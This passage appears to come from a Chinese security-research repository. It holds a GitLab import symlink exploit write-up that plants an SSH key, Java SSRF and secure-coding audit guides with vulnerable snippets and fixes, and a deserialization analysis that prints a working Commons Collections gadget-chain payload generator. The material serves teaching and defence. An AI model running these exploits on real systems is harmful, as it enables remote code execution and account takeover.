00:34 .. ``` here you can see a symbolic link is created. * 2、remove the project evil_project, while the upload directory of this project remains unpurged. ``` root@10:/var/opt/gitlab/gitlab-rails/uploads/root# ls -alh evil_project/ total 8.0K drwx------ 2 git git 4.0K Jul 11 00:34 . lrwxrwxrwx 1 git git 15 Jul 11 00:34 .?evil -> /var/opt/gitlab drwxr-xr-x 10 git git 4.0K Jul 11 00:34 .. ``` * 3、importing tarball2.tar.gz to the same project evil_project, it's ok since the project was deleted in step 2 Check the authorized_keys of Gitlab ``` root@10:/var/opt/gitlab/.ssh# cat authorized_keys ``` * POC ssh-rsa a_key_of_mine nyangawa For the content of these tarballs tarball1.tar.gz ``` $ tar tvf tarball1.tar.gz -rw-r--r-- asakawa/asakawa 5 2018-07-11 08:30 VERSION -rw-r--r-- asakawa/asakawa 1754 2018-07-11 08:30 project.json drwxr-xr-x asakawa/asakawa 0 2018-07-11 08:32 uploads/ lrwxrwxrwx asakawa/asakawa 0 2018-07-11 08:32 uploads/.\nevil -> /var/opt/gitlab ``` tarball2.tar.gz ``` $ tar tvf tarball2.tar.gz -rw-r--r-- asakawa/asakawa 5 2018-07-11 08:30 VERSION -rw-r--r-- asakawa/asakawa 1754 2018-07-11 08:30 project.json drwxr-xr-x asakawa/asakawa 0 2018-07-11 08:36 uploads/ drwxr-xr-x asakawa/asakawa 0 2018-07-11 08:36 uploads/.\nevil/ drwxr-xr-x asakawa/asakawa 0 2018-07-11 08:37 uploads/.\nevil/.ssh/ -rw-r--r-- asakawa/asakawa 51 2018-07-11 08:38 uploads/.\nevil/.ssh/authorized_keys ``` #### 补丁对比 可以看到将匹配的正则由%r{.*/\.{1,2}$}修改为了%w(. ..),详细见修复代码: [lib/gitlab/import_export/file_importer.rb · v10.8.4 · GitLab.org / GitLab Community Edition · GitLab](https://gitlab.com/gitlab-org/gitlab-ce/blob/v10.8.4/lib/gitlab/import_export/file_importer.rb) [lib/gitlab/import_export/file_importer.rb · v10.8.6 · GitLab.org / GitLab Community Edition · GitLab](https://gitlab.com/gitlab-org/gitlab-ce/blob/v10.8.6/lib/gitlab/import_export/file_importer.rb) #### 参考 [Vulnerability in project import leads to arbitrary command execution (#49133) · Issues · GitLab.org / GitLab Community Edition · GitLab](https://gitlab.com/gitlab-org/gitlab-ce/issues/49133) ================================================ FILE: JAVA代码审计之SSRF漏洞.md ================================================ ### JAVA代码审计之SSRF漏洞 #### 概述 SSRF(Server-Side Request Forgery:服务器端请求伪造) 是一种由攻击者构造形成由服务端发起请求的一个安全漏洞。一般情况下,SSRF攻击的目标是从外网无法访问的内部系统。因为它是由服务端发起的,所以它能够请求到与它相连而与外网隔离的内部服务器系统 SSRF形成的原因大都是由于代码中提供了从其他服务器应用获取数据的功能但没有对目标地址做过滤与限制。常见的场景比如: * 从指定URL链接获取内容、下载 * 端口开放检测 * 数据源连接 * 图片读取 * 接口调用测试 * 后台状态刷新 * 代码库clone等操作 * web hook消息同步等 本文从java代码审计出发,对ssrf漏洞的审计和常见场景进行介绍。 #### 常见场景及案例 * 使用HttpURLConnection发起HTTP请求获取响应信息,代码示例如下: ``` java String url = request.getParameter("picurl"); StringBuffer response = new StringBuffer(); URL pic = new URL(url); HttpURLConnection con = (HttpURLConnection) pic.openConnection(); con.setRequestMethod("GET"); con.setRequestProperty("User-Agent", "Mozilla/5.0"); BufferedReader in = new BufferedReader(new InputStreamReader(con.getInputStream())); String inputLine; while ((inputLine = in.readLine()) != null) { response.append(inputLine); } in.close(); modelMap.put("resp",response.toString()); return "getimg.htm"; ``` * 使用httpClient获取图片二进制流,代码示例如下: ``` java CloseableHttpClient httpClient = HttpClients.createDefault(); HttpGet getRequest = new HttpGet(url); HttpResponse response = httpClient.execute(getRequest); if(response.getStatusLine().getStatusCode() == 200) { HttpEntity entity = response.getEntity(); return EntityUtils.toByteArray(entity); } throw new IOException("Error:下载图片失败"); ``` * 使用Socket建立链接判断ip对应端口的联通性,代码示例如下: ``` java String host = request.getParameter("host"); String port = request.getParameter("port"); Socket socket = null; try { socket = new Socket(host, port); return true; } catch (Exception e) { logger.error("connect test failed!", e); return false; } finally { if (socket != null) { try { socket.close(); } catch (IOException e) { logger.error("Socket close error!", e); } } } ``` * 使用OkHttpClient发起http请求,代码示例如下: ``` java String url = request.getParameter("url"); OkHttpClient httpClient = new OkHttpClient(); Request request = new Request.Builder() .url(url) .build(); Response response = httpClient.newCall(request).execute(); return response.body().string(); ``` * 使用ImageIO读取远程图片,代码示例如下: ``` java String imgurl = request.getParameter("url"); URL url = new URL(imgurl); Image image = ImageIO.read(url); return image; ``` * mysql等数据源连接,代码示例如下: ``` java public boolean connection(String url, String username,String passwd) { DataSource mysqlDataSource = getDataSourceByDriver("com.mysql.jdbc.Driver", username, passwd, url); Connection conn = null; try { conn = mysqlDataSource.getConnection(); if (conn == null) return false; return true; } catch (SQLException e) { logger.error("mysql Connect failed! url:" + url, e); handleSQLException(e); } return false; } ``` #### SSRF漏洞修复方案 * 避免请求url外部可控 * 避免将请求响应及错误信息返回给用户 * 使用白名单校验请求url及ip地址 * 禁用不需要的协议及限制请求端口,仅允许http和https请求等 * host及端口固定,path外部可控可通过@绕过,也要做白名单校验 ================================================ FILE: JAVA安全编码与代码审计.md ================================================ ## JAVA安全编码与代码审计 ### 概述 本文重点介绍JAVA安全编码与代码审计基础知识,会以漏洞及安全编码示例的方式介绍JAVA代码中常见Web漏洞的形成及相应的修复方案,同时对一些常见的漏洞函数进行例举。 ### XXE ##### 介绍 XML文档结构包括XML声明、DTD文档类型定义(可选)、文档元素。文档类型定义(DTD)的作用是定义 XML 文档的合法构建模块。DTD 可以在 XML 文档内声明,也可以外部引用。 * 内部声明DTD: > * 引用外部DTD: > 当允许引用外部实体时,恶意攻击者即可构造恶意内容访问服务器资源,如读取passwd文件: ``` xml ]> &test; ``` ##### 漏洞示例 此处以org.dom4j.io.SAXReader为例,仅展示部分代码片段: ``` String xmldata = request.getParameter("data"); SAXReader sax=new SAXReader();//创建一个SAXReader对象 Document document=sax.read(new ByteArrayInputStream(xmldata.getBytes()));//获取document对象,如果文档无节点,则会抛出Exception提前结束 Element root=document.getRootElement();//获取根节点 List rowList = root.selectNodes("//msg"); Iterator iter1 = rowList.iterator(); if (iter1.hasNext()) { Element beanNode = (Element) iter1.next(); modelMap.put("success",true); modelMap.put("resp",beanNode.getTextTrim()); } ... ``` ##### 审计函数 XML解析一般在导入配置、数据传输接口等场景可能会用到,涉及到XML文件处理的场景可留意下XML解析器是否禁用外部实体,从而判断是否存在XXE。部分XML解析接口如下: ``` javax.xml.parsers.DocumentBuilder javax.xml.stream.XMLStreamReader org.jdom.input.SAXBuilder org.jdom2.input.SAXBuilder javax.xml.parsers.SAXParser org.dom4j.io.SAXReader  org.xml.sax.XMLReader javax.xml.transform.sax.SAXSource  javax.xml.transform.TransformerFactory  javax.xml.transform.sax.SAXTransformerFactory  javax.xml.validation.SchemaFactory javax.xml.bind.Unmarshaller javax.xml.xpath.XPathExpression ... ``` ##### 修复方案 使用XML解析器时需要设置其属性,禁止使用外部实体,以上例中SAXReader为例,安全的使用方式如下: ``` sax.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true); sax.setFeature("http://xml.org/sax/features/external-general-entities", false); sax.setFeature("http://xml.org/sax/features/external-parameter-entities", false); ``` 其它XML解析器的安全使用可参考[OWASP XML External Entity (XXE) Prevention Cheat Sheet](https://www.owasp.org/index.php/XML_External_Entity_(XXE)_Prevention_Cheat_Sheet#Java) ### 反序列化漏洞 ##### 介绍 序列化是让 Java 对象脱离 Java 运行环境的一种手段,可以有效的实现多平台之间的通信、对象持久化存储。 Java程序使用ObjectInputStream对象的readObject方法将反序列化数据转换为java对象。但当输入的反序列化的数据可被用户控制,那么攻击者即可通过构造恶意输入,让反序列化产生非预期的对象,在此过程中执行构造的任意代码。 ##### 漏洞示例 漏洞代码示例如下: ``` java ...... //读取输入流,并转换对象 InputStream in=request.getInputStream(); ObjectInputStream ois = new ObjectInputStream(in); //恢复对象 ois.readObject(); ois.close(); ``` 上述代码中,程序读取输入流并将其反序列化为对象。此时可查看项目工程中是否引入可利用的commons-collections 3.1、commons-fileupload 1.3.1等第三方库,即可构造特定反序列化对象实现任意代码执行。相关三方库及利用工具可参考ysoserial、marshalsec。 ##### 审计函数 反序列化操作一般在导入模版文件、网络通信、数据传输、日志格式化存储、对象数据落磁盘或DB存储等业务场景,在代码审计时可重点关注一些反序列化操作函数并判断输入是否可控,如下: ``` ObjectInputStream.readObject ObjectInputStream.readUnshared XMLDecoder.readObject Yaml.load XStream.fromXML ObjectMapper.readValue JSON.parseObject ... ``` ##### 修复方案 如果可以明确反序列化对象类的则可在反序列化时设置白名单,对于一些只提供接口的库则可使用黑名单设置不允许被反序列化类或者提供设置白名单的接口,可通过Hook函数resolveClass来校验反序列化的类从而实现白名单校验,示例如下: ```java public class AntObjectInputStream extends ObjectInputStream{ public AntObjectInputStream(InputStream inputStream) throws IOException { super(inputStream); } /** * 只允许反序列化SerialObject class */ @Override protected Class resolveClass(ObjectStreamClass desc) throws IOException, ClassNotFoundException { if (!desc.getName().equals(SerialObject.class.getName())) { throw new InvalidClassException( "Unauthorized deserialization attempt", desc.getName()); } return super.resolveClass(desc); } } ``` 也可以使用Apache Commons IO Serialization包中的ValidatingObjectInputStream类的accept方法来实现反序列化类白/黑名单控制,如果使用的是第三方库则升级到最新版本。更多修复方案可参考[浅谈Java反序列化漏洞修复方案](https://xianzhi.aliyun.com/forum/topic/41/)。 ### SSRF ##### 介绍 SSRF形成的原因大都是由于代码中提供了从其他服务器应用获取数据的功能但没有对目标地址做过滤与限制。比如从指定URL链接获取图片、下载等。 ##### 漏洞示例 此处以HttpURLConnection为例,示例代码片段如下: ``` java String url = request.getParameter("picurl"); StringBuffer response = new StringBuffer(); URL pic = new URL(url); HttpURLConnection con = (HttpURLConnection) pic.openConnection(); con.setRequestMethod("GET"); con.setRequestProperty("User-Agent", "Mozilla/5.0"); BufferedReader in = new BufferedReader(new InputStreamReader(con.getInputStream())); String inputLine; while ((inputLine = in.readLine()) != null) { response.append(inputLine); } in.close(); modelMap.put("resp",response.toString()); return "getimg.htm"; ``` ##### 审计函数 程序中发起HTTP请求操作一般在获取远程图片、页面分享收藏等业务场景,在代码审计时可重点关注一些HTTP请求操作函数,如下: ``` HttpClient.execute HttpClient.executeMethod HttpURLConnection.connect HttpURLConnection.getInputStream URL.openStream ... ``` ##### 修复方案 * 使用白名单校验HTTP请求url地址 * 避免将请求响应及错误信息返回给用户 * 禁用不需要的协议及限制请求端口,仅仅允许http和https请求等 ### SQLi ##### 介绍 注入攻击的本质,是程序把用户输入的数据当做代码执行。这里有两个关键条件,第一是用户能够控制输入;第二是用户输入的数据被拼接到要执行的代码中从而被执行。sql注入漏洞则是程序将用户输入数据拼接到了sql语句中,从而攻击者即可构造、改变sql语义从而进行攻击。 ##### 漏洞示例 此处以Mybatis框架为例,示例sql片段如下: ```sql select * from books where id= ${id} ``` 对于Mybatis框架下SQL注入漏洞的审计可参考[Mybatis框架下SQL注入漏洞面面观](https://mp.weixin.qq.com/s?__biz=MjM5OTk2MTMxOQ==&mid=2727827368&idx=1&sn=765d0835f0069b5145523c31e8229850&mpshare=1&scene=1&srcid=0926a6QC3pGbQ3Pznszb4n2q) ##### 修复方案 Mybatis框架SQL语句安全写法应使用\#\{\},避免使用动态拼接形式\$\{\},ibatis则使用\#变量\#。安全写法如下: ``` select * from books where id= #{id} ``` ### 文件上传漏洞 ##### 介绍 文件上传过程中,通常因为未校验上传文件后缀类型,导致用户可上传jsp等一些webshell文件。代码审计时可重点关注对上传文件类型是否有足够安全的校验,以及是否限制文件大小等。 ##### 漏洞示例 此处以MultipartFile为例,示例代码片段如下: ``` java public String handleFileUpload(MultipartFile file){ String fileName = file.getOriginalFilename(); if (fileName==null) { return "file is error"; } String filePath = "/static/images/uploads/"+fileName; if (!file.isEmpty()) { try { byte[] bytes = file.getBytes(); BufferedOutputStream stream = new BufferedOutputStream(new FileOutputStream(new File(filePath))); stream.write(bytes); stream.close(); return "OK"; } catch (Exception e) { return e.getMessage(); } } else { return "You failed to upload " + file.getOriginalFilename() + " because the file was empty."; } } ``` ##### 审计函数 java程序中涉及到文件上传的函数,比如: ``` MultipartFile ... ``` ##### 修复方案 * 使用白名单校验上传文件类型、大小限制 ### Autobinding ##### 介绍 Autobinding-自动绑定漏洞,根据不同语言/框架,该漏洞有几个不同的叫法,如下: * Mass Assignment: Ruby on Rails, NodeJS * Autobinding: Spring MVC, ASP.NET MVC * Object injection: PHP(对象注入、反序列化漏洞) 软件框架有时允许开发人员自动将HTTP请求参数绑定到程序代码变量或对象中,从而使开发人员更容易地使用该框架。这里攻击者就可以利用这种方法通过构造http请求,将请求参数绑定到对象上,当代码逻辑使用该对象参数时就可能产生一些不可预料的结果。 ##### 漏洞示例 示例代码以[ZeroNights-HackQuest-2016](https://github.com/GrrrDog/ZeroNights-HackQuest-2016)的demo为例,把示例中的justiceleague程序运行起来,可以看到这个应用菜单栏有about,reg,Sign up,Forgot password这4个页面组成。我们关注的点是密码找回功能,即怎么样绕过安全问题验证并找回密码。 1)首先看reset方法,把不影响代码逻辑的删掉。这样更简洁易懂: ``` @Controller @SessionAttributes("user") public class ResetPasswordController { private UserService userService; ... @RequestMapping(value = "/reset", method = RequestMethod.POST) public String resetHandler(@RequestParam String username, Model model) { User user = userService.findByName(username); if (user == null) { return "reset"; } model.addAttribute("user", user); return "redirect: resetQuestion"; } ``` 这里从参数获取username并检查有没有这个用户,如果有则把这个user对象放到Model中。因为这个Controller使用了@SessionAttributes("user"),所以同时也会自动把user对象放到session中。然后跳转到resetQuestion密码找回安全问题校验页面。 2)resetQuestion密码找回安全问题校验页面有resetViewQuestionHandler这个方法展现 ``` @RequestMapping(value = "/resetQuestion", method = RequestMethod.GET) public String resetViewQuestionHandler(@ModelAttribute User user) { logger.info("Welcome resetQuestion ! " + user); return "resetQuestion"; } ``` 这里使用了@ModelAttribute User user,实际上这里是从session中获取user对象。但存在问题是如果在请求中添加user对象的成员变量时则会更改user对象对应成员的值。 所以当我们给resetQuestionHandler发送GET请求的时候可以添加“answer=hehe”参数,这样就可以给session中的对象赋值,将原本密码找回的安全问题答案修改成“hehe”。这样在最后一步校验安全问题时即可验证成功并找回密码 ##### 审计函数 这种漏洞一般在比较多步骤的流程中出现,比如转账、找密等场景,也可重点留意几个注解如下: ``` @SessionAttributes @ModelAttribute ... ``` 更多信息可参考[Spring MVC Autobinding漏洞实例初窥](https://xianzhi.aliyun.com/forum/topic/1089/) ##### 修复方案 Spring MVC中可以使用@InitBinder注解,通过WebDataBinder的方法setAllowedFields、setDisallowedFields设置允许或不允许绑定的参数。 ### URL重定向 ##### 介绍 由于Web站点有时需要根据不同的逻辑将用户引向到不同的页面,如典型的登录接口就经常需要在认证成功之后将用户引导到登录之前的页面,整个过程中如果实现不好就可能导致URL重定向问题,攻击者构造恶意跳转的链接,可以向用户发起钓鱼攻击。 ##### 漏洞示例 此处以Servlet的redirect 方式为例,示例代码片段如下: ``` java String site = request.getParameter("url"); if(!site.isEmpty()){ response.sendRedirect(site); } ``` ##### 审计函数 java程序中URL重定向的方法均可留意是否对跳转地址进行校验、重定向函数如下: ``` sendRedirect setHeader forward ... ``` ##### 修复方案 * 使用白名单校验重定向的url地址 * 给用户展示安全风险提示,并由用户再次确认是否跳转 ### CSRF ##### 介绍 跨站请求伪造(Cross-Site Request Forgery,CSRF)是一种使已登录用户在不知情的情况下执行某种动作的攻击。因为攻击者看不到伪造请求的响应结果,所以CSRF攻击主要用来执行动作,而非窃取用户数据。当受害者是一个普通用户时,CSRF可以实现在其不知情的情况下转移用户资金、发送邮件等操作;但是如果受害者是一个具有管理员权限的用户时CSRF则可能威胁到整个Web系统的安全。 ##### 漏洞示例 由于开发人员对CSRF的了解不足,错把“经过认证的浏览器发起的请求”当成“经过认证的用户发起的请求”,当已认证的用户点击攻击者构造的恶意链接后就“被”执行了相应的操作。例如,一个博客删除文章是通过如下方式实现的: ``` GET http://blog.com/article/delete?id=102 ``` 当攻击者诱导用户点击下面的链接时,如果该用户登录博客网站的凭证尚未过期,那么他便在不知情的情况下删除了id为102的文章,简单的身份验证只能保证请求发自某个用户的浏览器,却不能保证请求本身是用户自愿发出的。 ##### 漏洞审计 此类漏洞一般都会在框架中解决修复,所以在审计csrf漏洞时。首先要熟悉框架对CSRF的防护方案,一般审计时可查看增删改请求重是否有token、formtoken等关键字以及是否有对请求的Referer有进行校验。手动测试时,如果有token等关键则替换token值为自定义值并重放请求,如果没有则替换请求Referer头为自定义链接或置空。重放请求看是否可以成功返回数据从而判断是否存在CSRF漏洞。 ##### 修复方案 * Referer校验,对HTTP请求的Referer校验,如果请求Referer的地址不在允许的列表中,则拦截请求。 * Token校验,服务端生成随机token,并保存在本次会话cookie中,用户发起请求时附带token参数,服务端对该随机数进行校验。如果不正确则认为该请求为伪造请求拒绝该请求。 * Formtoken校验,Formtoken校验本身也是Token校验,只是在本次表单请求有效。 * 对于高安全性操作则可使用验证码、短信、密码等二次校验措施 * 增删改请求使用POST请求 ### 命令执行 ##### 介绍 由于业务需求,程序有可能要执行系统命令的功能,但如果执行的命令用户可控,业务上有没有做好限制,就可能出现命令执行漏洞。 ##### 漏洞示例 此处以getRuntime为例,示例代码片段如下: ``` java String cmd = request.getParameter("cmd"); Runtime.getRuntime().exec(cmd); ``` ##### 审计函数 这种漏洞原理上很简单,重点是找到执行系统命令的函数,看命令是否可控。在一些特殊的业务场景是能判断出是否存在此类功能,这里举个典型的实例场景,有的程序功能需求提供网页截图功能,笔者见过多数是使用phantomjs实现,那势必是需要调用系统命令执行phantomjs并传参实现截图。而参数大多数情况下应该是当前url或其中获取相关参数,此时很有可能存在命令执行漏洞,还有一些其它比较特别的场景可自行脑洞。 java程序中执行系统命令的函数如下: ``` Runtime.exec ProcessBuilder.start GroovyShell.evaluate ... ``` ##### 修复方案 * 避免命令用户可控 * 如需用户输入参数,则对用户输入做严格校验,如&&、|、;等 ### 权限控制 ##### 介绍 越权漏洞可以分为水平、垂直越权两种,程序在处理用户请求时未对用户的权限进行校验,使的用户可访问、操作其他相同角色用户的数据,这种情况是水平越权;如果低权限用户可访问、操作高权限用户则的数据,这种情况为垂直越权。 ##### 漏洞示例 ``` java @RequestMapping(value="/getUserInfo",method = RequestMethod.GET) public String getUserInfo(Model model, HttpServletRequest request) throws IOException { String userid = request.getParameter("userid"); if(!userid.isEmpty()){ String info=userModel.getuserInfoByid(userid); return info; } return ""; } ``` ##### 审计函数 水平、垂直越权不需关注特定函数,只要在处理用户操作请求时查看是否有对当前登陆用户权限做校验从而确定是否存在漏洞 ##### 修复方案 获取当前登陆用户并校验该用户是否具有当前操作权限,并校验请求操作数据是否属于当前登陆用户,当前登陆用户标识不能从用户可控的请求参数中获取。 ### 批量请求 ##### 介绍 业务中经常会有使用到发送短信校验码、短信通知、邮件通知等一些功能,这类请求如果不做任何限制,恶意攻击者可能进行批量恶意请求轰炸,大量短信、邮件等通知对正常用户造成困扰,同时也是对公司的资源造成损耗。 除了短信、邮件轰炸等,还有一种情况也需要注意,程序中可能存在很多接口,用来查询账号是否存在、账号名与手机或邮箱、姓名等的匹配关系,这类请求如不做限制也会被恶意用户批量利用,从而获取用户数据关系相关数据。对这类请求在代码审计时可关注是否有对请求做鉴权、和限制即可大致判断是否存在风险。 ##### 漏洞示例 ``` java @RequestMapping(value="/ifUserExit",method = RequestMethod.GET) public String ifUserExit(Model model, HttpServletRequest request) throws IOException { String phone = request.getParameter("phone"); if(! phone.isEmpty()){ boolean ifex=userModel.ifuserExitByPhone(phone); if (!ifex) return "用户不存在"; } return "用户已被注册"; } ``` ##### 修复方案 * 对同一个用户发起这类请求的频率、每小时及每天发送量在服务端做限制,不可在前端实现限制 ### 第三方组件安全 ##### 介绍 这个比较好理解,诸如Struts2、不安全的编辑控件、XML解析器以及可被其它漏洞利用的如commons-collections:3.1等第三方组件,这个可以在程序pom文件中查看是否有引入依赖。即便在代码中没有应用到或很难直接利用,也不应该使用不安全的版本,一个产品的周期很长,很难保证后面不会引入可被利用的漏洞点。 ##### 修复方案 * 使用最新或安全版本的第三方组件 ### 待续... ### 总结 除了上述相关的漏洞,在代码审计的时候有时会遇到一些特别的漏洞,比如开发为了测试方便关闭掉了一些安全校验函数、甚至未彻底清除的一些预留后门及测试管理接口等。除此,框架本身的安全问题也是可以深挖。一些安全校验、安全解决方案也未必就毫无破绽的,即便存在一些安全解决,但开发人员有没有使用以及是否正确使用安全方案都是可能存在问题的点。大公司都有成熟的框架,一些基本的安全问题并不是太多,但设计层面上的安全及流程相关的问题却基本依赖开发的经验。流程相关的漏洞则有必要先熟悉应用本身的设计和逻辑,这块也是潜在的风险点。 不要指望给开发说一句“一切输入都是不可信的”,他就能编写出安全的代码。总之,Talk is cheap. Show me the code~ ================================================ FILE: Java反序列化漏洞分析及检测方案.md ================================================ ## Java反序列化漏洞分析及检测方案 ### 序列化与反序列化 序列化与反序列化是让 Java 对象脱离 Java 运行环境的一种手段,可以有效的实现多平台之间的通信、对象持久化存储。 要对某个类对象进行序列化及反序列化操作,则该类必须实现Serializable接口,Serializable 接口是启用其序列化功能的接口,实现 java.io.Serializable 接口的类才是可序列化的,没有实现此接口的类将不能使它们的任一状态被序列化或逆序列化。我们定义一个实现了Serializable接口的类: ``` java public class SerialObject implements Serializable{ public String name; public String command; //重写readObject()方法 private void readObject(java.io.ObjectInputStream in) throws IOException, ClassNotFoundException{ //执行默认的readObject()方法 in.defaultReadObject(); //执行打开计算器程序命令 Runtime.getRuntime().exec("open /Applications/Calculator.app/"); } } ``` 上述示例代码中类SerialObject实现了Serializable接口,并重写了readObject方法执行Runtime.getRuntime().exec("open /Applications/Calculator.app/")。 Java 序列化是指把 Java 对象转换为字节序列的过程便于保存在内存、文件、数据库中,ObjectOutputStream类的 writeObject() 方法可以实现序列化。 ``` java ...... SerialObject myObj = new SerialObject(); myObj.name = "kevin"; myObj.command = "open /Applications/Calculator.app/"; //创建一个包含对象进行反序列化信息的”object”数据文件 FileOutputStream fos = new FileOutputStream("/Users/jingke/java/sofademo/object"); ObjectOutputStream os = new ObjectOutputStream(fos); //writeObject()方法将myObj对象写入object文件 os.writeObject(myObj); os.close(); ``` Java 反序列化是指把字节序列恢复为 Java 对象的过程,ObjectInputStream 类的 readObject() 方法用于反序列化。 ``` java ...... //从文件中反序列化obj对象 FileInputStream fis = new FileInputStream("/Users/jingke/java/sofademo/object"); ObjectInputStream ois = new ObjectInputStream(fis); //恢复对象 SerialObject objectFromDisk = (SerialObject)ois.readObject(); ois.close(); ``` 这里反序列化SerialObject类时会调用重写的readObject方法并运行计算器,显然现实中程序员不会这样去写代码。而且攻击者要利用程序中的类对象进行反序列化攻击,前提是要知道类的定义。所以从这点可以了解开源代码被反序列化漏洞利用的可能性更大。而已公开的反序列化漏洞利用基本上都是借助第三方库来实现。 ### 反序列化漏洞成因 序列化和反序列化本身并不存在问题。但当反序列化的数据可以被恶意攻击者控制时,那么攻击者可以通过构造恶意输入,让反序列化产生非预期的对象,在此过程中执行构造的恶意代码。 上述这里特别要注意的是非预期的对象,由于要构造特定对象的前提是清楚该对象各属性及反序列化后参数进行各流程造成非预期的恶意操作。所以如Apache Commons Collections等开源的第三方库就成为了反序列化漏洞利用的关键。这些类库中实现的一些类可以被反序列化,并可被用来实现任意代码执行。类似的第三方类库可以看ysoserial,如commons-fileupload、commons-io等。这种库的存在极大地提升了反序列化问题的严重程度。 ### 漏洞利用 #### 利用Apache Commons Collections实现远程代码执行 以commons-collections:3.1库为例(jdk版本为1.7),反序列化漏洞利用payload生产代码如下: ``` ...... //创建一个包含对象进行反序列化信息的”objectexp”数据文件 FileOutputStream fos = new FileOutputStream("/Users/jingke/java/sofademo/objectexp"); ObjectOutputStream os = new ObjectOutputStream(fos); Transformer[] transformers = new Transformer[] { new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }), new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class }, new Object[] { null, new Object[0] }), new InvokerTransformer("exec", new Class[] { String.class }, new Object[] { "open /Applications/Calculator.app" }) }; Transformer transformerChain = new ChainedTransformer(transformers); Map innermap = new HashMap(); innermap.put("value", "value"); Map outmap = TransformedMap.decorate(innermap, null, transformerChain); //通过反射获得AnnotationInvocationHandler类对象 Class cls = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); //通过反射获得cls的构造函数 Constructor ctor = cls.getDeclaredConstructor(Class.class, Map.class); //这里需要设置Accessible为true,否则序列化失败 ctor.setAccessible(true); //通过newInstance()方法实例化对象 Object myObj = ctor.newInstance(Retention.class, outmap); //writeObject()方法将myObj对象写入object文件 os.writeObject(myObj); os.close(); ``` 从逆向的角度出发,先分析这个payload,代码中先定义了一个 Transformer的数组transformers,第一个参数是ConstantTransformer类对象,后续均为 InvokerTransformer 对象,然后调用ChainedTransformer将多个Transformer串联构造出Transformer对象。ConstantTransformer、InvokerTransformer、ChainedTransformer均实现了的Transformer的transform方法,首先看Transforme接口,该接口仅实现了一个方法transform: ``` public Object transform(Object input); ``` 可以看到该方法的作用是:给定一个 Object 对象经过转换后也返回一个 Object。 ConstantTransformer 类的 transform() 方法: ``` public Object transform(Object input) { return iConstant; } ``` 该方法返回 iConstant 属性,该属性为ConstantTransformer构造函数给值: ``` public ConstantTransformer(Object constantToReturn) { super(); iConstant = constantToReturn; } ``` InvokerTransformer 类的 transform() 方法: ``` public Object transform(Object input) { if (input == null) { return null; } try { Class cls = input.getClass(); Method method = cls.getMethod(iMethodName, iParamTypes); return method.invoke(input, iArgs); } catch (NoSuchMethodException ex) { throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' does not exist"); } catch (IllegalAccessException ex) { throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' cannot be accessed"); } catch (InvocationTargetException ex) { throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' threw an exception", ex); } } ``` 可以看到该方法中采用了反射的方法进行函数调用,Input 参数为要进行反射的对象 iMethodName , iParamTypes 为调用的方法名称以及该方法的参数类型,iArgs 为对应方法的参数,这三个参数均构造函数给值: ``` public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) { super(); iMethodName = methodName; iParamTypes = paramTypes; iArgs = args; } ``` 然后看下ChainedTransformer类的transform() 方法: ``` public Object transform(Object object) { for (int i = 0; i < iTransformers.length; i++) { object = iTransformers[i].transform(object); } return object; } ``` 这里iTransformers为ChainedTransformer构造函数输入的Transformer数组。然后使用了 for 循环来调用 Transformer 数组的 transform() 方法,并且将object作为后一个调用transform()方法的参数依次循环。结合前面paylaod中Transformer数组的组成: ``` new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }), new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class }, new Object[] { null, new Object[0] }), new InvokerTransformer("exec", new Class[] { String.class }, new Object[] { "open /Applications/Calculator.app" }) }; ``` 经过调试循环处理后执行的代码是: ``` public java.lang.Process java.lang.Runtime.exec(“open /Applications/Calculator.app”) throws java.io.IOException ``` 到这里我们明白漏洞利用需要触发ChainedTransformer对象的transform()函数,而TransformedMap的checkSetValue函数中就调用了transform方法: ``` protected Object checkSetValue(Object value) { return valueTransformer.transform(value); } ``` 所以接着调用TransformedMap的decorate函数构造了TransformedMap对象,并将构造好的transformerChain给第三个参数valueTransformer: ``` Map innermap = new HashMap(); innermap.put("value", "value"); Map outmap = TransformedMap.decorate(innermap, null, transformerChain); ``` 以此想办法触发TransformedMap的checkSetValue方法,这里接着 构造对象AnnotationInvocationHandler,该对象通过newInstance方法实例化对象。通过getDeclaredConstructor获取该对象构造函数,包含两个参数分别是: ``` private final Class type; private final Map memberValues; ``` AnnotationInvocationHandler类是该payload构造的最终序列化的对象,该类实现了Serializable接口且重写了readObject方法。而其成员变量 memberValues 是 Map 类型,并且在重写的readObject方法中进行了setValue操作,而setValue则会触发TransformedMap的checkSetValue方法,从而实现反序列化漏洞利用并执行任意代码。 ``` public Object setValue(Object value) { value = parent.checkSetValue(value); return entry.setValue(value); } ``` 所以这里payload执行流程为: AnnotationInvocationHandler.readObject()->map.setValue()->TransformedMap.checkSetValue()->ChainedTransformer.transform()-> InvokerTransformer.transform()->漏洞成功触发 commons-collections 3.2.2已经修复了该问题,具体可参考[Release notes for v3.2.2](http://commons.apache.org/proper/commons-collections/release_3_2_2.html) #### 利用org.codehaus.groovy实现远程代码执行 groovy在2015年报出反序列化漏洞CVE-2015-3253,安全公告可参考[官网信息](http://groovy-lang.org/security.html),漏洞介绍: > The MethodClosure class in runtime/MethodClosure.java in Apache Groovy 1.7.0 through 2.4.3 allows remote attackers to execute arbitrary code or cause a denial of service via a crafted serialized object. 首先看groovy.util的Expando类中的hashCode方法: ``` public int hashCode() { Object method = getProperties().get("hashCode"); if (method != null && method instanceof Closure) { // invoke overridden hashCode closure method Closure closure = (Closure) method; closure.setDelegate(this); Integer ret = (Integer) closure.call(); return ret.intValue(); } else { return super.hashCode(); } } ``` 可以看这里调用了Closure的call方法,call调用的实际是docall方法。Closure是抽象类,MethodClosure继承了它,并实现了docall方法: ``` protected Object doCall(Object arguments) { return InvokerHelper.invokeMethod(getOwner(), method, arguments); } ``` 熟悉的函数名invokeMethod,见名知其意。看下具体实现: ``` /** * Invokes the given method on the object. */ public static Object invokeMethod(Object object, String methodName, Object arguments) { if (object == null) { object = NullObject.getNullObject(); //throw new NullPointerException("Cannot invoke method " + methodName + "() on null 